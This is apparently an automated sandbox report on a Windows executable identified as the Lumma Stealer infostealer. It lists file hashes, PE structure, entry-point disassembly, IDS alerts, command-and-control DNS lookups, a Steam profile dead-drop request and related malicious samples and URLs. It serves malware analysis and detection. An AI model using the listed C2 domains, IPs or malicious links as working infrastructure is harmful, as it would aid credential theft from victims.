	https://clicks.icims.com/f/a/5aA63l6Vdy8mmO6SfnFRFQ~~/AAIB5gA~/RgRpSzdjP0SjaHR0cHM6Ly9sb2dpbi5pY2ltcy5jb20vdS9yZXNldC12ZXJpZnk_dGlja2V0PVYzbldUZVAzTUxqc0hwVzlXOFlZbFhxamh5SFJZR0tHI2NsaWVudElkPUtKQTk1RHhIT1BOTzU2VWFOUmRSWTU3cHpuNkNNSGNtJmNsaWVudE5hbWU9QXBwbGljYW50IFRyYWNraW5nJmNhbGxiYWNrVXJsPVcDc3BjQgpnZWOyaGeuoGU9UhltaWthLnlhbWFndWNoaUBoYXlzLmNvLmpwWAQAABLw	Get hash	malicious	Unknown	Browse	162.247.243.29
	http://217.28.130.10/8265/568747470733a2f2f6d61696c2d6864656c2e6c7664642e696e666f2f3f656d61696c3d62722e73756e67406864656c2e636f2e6b72	Get hash	malicious	Unknown	Browse	172.67.191.167
	Echelon.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.154.166
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.65.145
	bas.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	Wine.exe	Get hash	malicious	LummaC	Browse	104.21.50.161

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Echelon.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86 23.55.153.106
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	bas.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Wine.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	104.21.66.86 23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	external.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948154292783606
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uZO96rXyWt.exe
File size:	1'822'720 bytes
MD5:	61e51e787b161b21769aab5c29fc8003
SHA1:	8223428075907ebcc833046b7c7606f176c11cf5
SHA256:	c45ebba7c2d577cc6b1d138b902a92d9c243c2f7a9d593bf3a0b97dabcb72a96
SHA512:	895407c28908aa56ebad666d320e5a9ae83e97731bef22e6f4dffbb009f17d2d4b3e995b168cbfa8f32086cc2bee062ea7682c8759c3000fd238440830c678b3
SSDEEP:	49152:prtKCs1nkAYfwbbeqywbE7jKi97z384HI2WQ6a:pR3sJbbeqywbESc7z384o2WQ6a
TLSH:	FF8533148DB6B30EC61D053F9BC1C647BB71E99F01FA241B8AD1AA57F9E23C6075029E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0H...........@..........................`H...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x883000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3C24E2F13Ah
stmxcsr dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	d9d72986171db3967a6b714582a7eea1	False	0.9973980629280822	data	7.983740598243191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x299000	0x200	2745d09979d559ec2b5f34ef3731b248	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jovwrsiu	0x2ed000	0x195000	0x194c00	56cff1d3a89f70fa070700e314417674	False	0.9950291219502779	data	7.954085766789101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nhvsunat	0x482000	0x1000	0x400	02ad5a444ea776be2b8263ece7d9c471	False	0.75	data	6.015256153206639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x483000	0x3000	0x2200	36bef2a9335f9632795e8bd41e231538	False	0.0700827205882353	DOS executable (COM)	0.7488872922348286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T06:44:07.770526+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.9	65297	1.1.1.1	53	UDP
2024-12-23T06:44:08.026771+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.9	62971	1.1.1.1	53	UDP
2024-12-23T06:44:08.255137+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.9	56180	1.1.1.1	53	UDP
2024-12-23T06:44:08.636089+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.9	50480	1.1.1.1	53	UDP
2024-12-23T06:44:09.028142+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.9	52834	1.1.1.1	53	UDP
2024-12-23T06:44:09.415383+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.9	60246	1.1.1.1	53	UDP
2024-12-23T06:44:09.642103+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.9	56030	1.1.1.1	53	UDP
2024-12-23T06:44:09.866665+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.9	53151	1.1.1.1	53	UDP
2024-12-23T06:44:10.181935+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.9	51709	1.1.1.1	53	UDP
2024-12-23T06:44:11.980565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49712	23.55.153.106	443	TCP
2024-12-23T06:44:12.764805+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.9	49712	23.55.153.106	443	TCP
2024-12-23T06:44:14.592707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49723	104.21.66.86	443	TCP
2024-12-23T06:44:15.331506+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49723	104.21.66.86	443	TCP
2024-12-23T06:44:15.331506+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49723	104.21.66.86	443	TCP
2024-12-23T06:44:15.682604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49729	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:44:10.561992884 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:10.562036991 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:10.562099934 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:10.588164091 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:10.588176966 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:11.980473995 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:11.980565071 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:11.984601974 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:11.984617949 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:11.984878063 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.025163889 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.086597919 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.127329111 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.764869928 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.764900923 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.764977932 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.764991999 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.765005112 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.765037060 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.765050888 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.765094995 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.765134096 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.943125963 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.943190098 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.943211079 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.943224907 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.943592072 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.973612070 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.973644972 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.973699093 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.973728895 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.973745108 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.973803043 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.996439934 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.996484041 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:12.996501923 CET	49712	443	192.168.2.9	23.55.153.106
Dec 23, 2024 06:44:12.996509075 CET	443	49712	23.55.153.106	192.168.2.9
Dec 23, 2024 06:44:13.374905109 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:13.374958038 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:13.375070095 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:13.375686884 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:13.375705957 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:14.592576027 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:14.592706919 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:14.595207930 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:14.595227957 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:14.595565081 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:14.597129107 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:14.597129107 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:14.597218990 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.331510067 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.331605911 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.331717014 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.332068920 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.332088947 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.332104921 CET	49723	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.332110882 CET	443	49723	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.365906000 CET	49729	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.365963936 CET	443	49729	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.366063118 CET	49729	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.366487026 CET	49729	443	192.168.2.9	104.21.66.86
Dec 23, 2024 06:44:15.366502047 CET	443	49729	104.21.66.86	192.168.2.9
Dec 23, 2024 06:44:15.682604074 CET	49729	443	192.168.2.9	104.21.66.86

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:44:07.770525932 CET	65297	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:07.992985010 CET	53	65297	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:08.026771069 CET	62971	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:08.251806974 CET	53	62971	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:08.255136967 CET	56180	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:08.634233952 CET	53	56180	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:08.636089087 CET	50480	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:09.024573088 CET	53	50480	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:09.028141975 CET	52834	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:09.411984921 CET	53	52834	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:09.415383101 CET	60246	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:09.638170004 CET	53	60246	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:09.642102957 CET	56030	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:09.863219023 CET	53	56030	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:09.866664886 CET	53151	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:10.173351049 CET	53	53151	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:10.181935072 CET	51709	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:10.409281969 CET	53	51709	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:10.412473917 CET	64277	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:10.549590111 CET	53	64277	1.1.1.1	192.168.2.9
Dec 23, 2024 06:44:13.036026001 CET	54035	53	192.168.2.9	1.1.1.1
Dec 23, 2024 06:44:13.373569965 CET	53	54035	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 06:44:07.770525932 CET	192.168.2.9	1.1.1.1	0xe7d9	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:08.026771069 CET	192.168.2.9	1.1.1.1	0x852f	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:08.255136967 CET	192.168.2.9	1.1.1.1	0x9c1b	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:08.636089087 CET	192.168.2.9	1.1.1.1	0x29b2	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.028141975 CET	192.168.2.9	1.1.1.1	0x44dd	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.415383101 CET	192.168.2.9	1.1.1.1	0x69e3	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.642102957 CET	192.168.2.9	1.1.1.1	0x24b8	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.866664886 CET	192.168.2.9	1.1.1.1	0xed6a	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:10.181935072 CET	192.168.2.9	1.1.1.1	0x3c72	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:10.412473917 CET	192.168.2.9	1.1.1.1	0xf9fe	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:13.036026001 CET	192.168.2.9	1.1.1.1	0x69c8	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 06:44:07.992985010 CET	1.1.1.1	192.168.2.9	0xe7d9	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:08.251806974 CET	1.1.1.1	192.168.2.9	0x852f	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:08.634233952 CET	1.1.1.1	192.168.2.9	0x9c1b	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.024573088 CET	1.1.1.1	192.168.2.9	0x29b2	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.411984921 CET	1.1.1.1	192.168.2.9	0x44dd	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.638170004 CET	1.1.1.1	192.168.2.9	0x69e3	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:09.863219023 CET	1.1.1.1	192.168.2.9	0x24b8	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:10.173351049 CET	1.1.1.1	192.168.2.9	0xed6a	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:10.409281969 CET	1.1.1.1	192.168.2.9	0x3c72	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:10.549590111 CET	1.1.1.1	192.168.2.9	0xf9fe	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:13.373569965 CET	1.1.1.1	192.168.2.9	0x69c8	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:44:13.373569965 CET	1.1.1.1	192.168.2.9	0x69c8	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49712	23.55.153.106	443	7688	C:\Users\user\Desktop\uZO96rXyWt.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:44:12 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 05:44:12 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 05:44:12 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=f630a9a3cef9c88359b0f4c0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 05:44:12 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 05:44:12 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
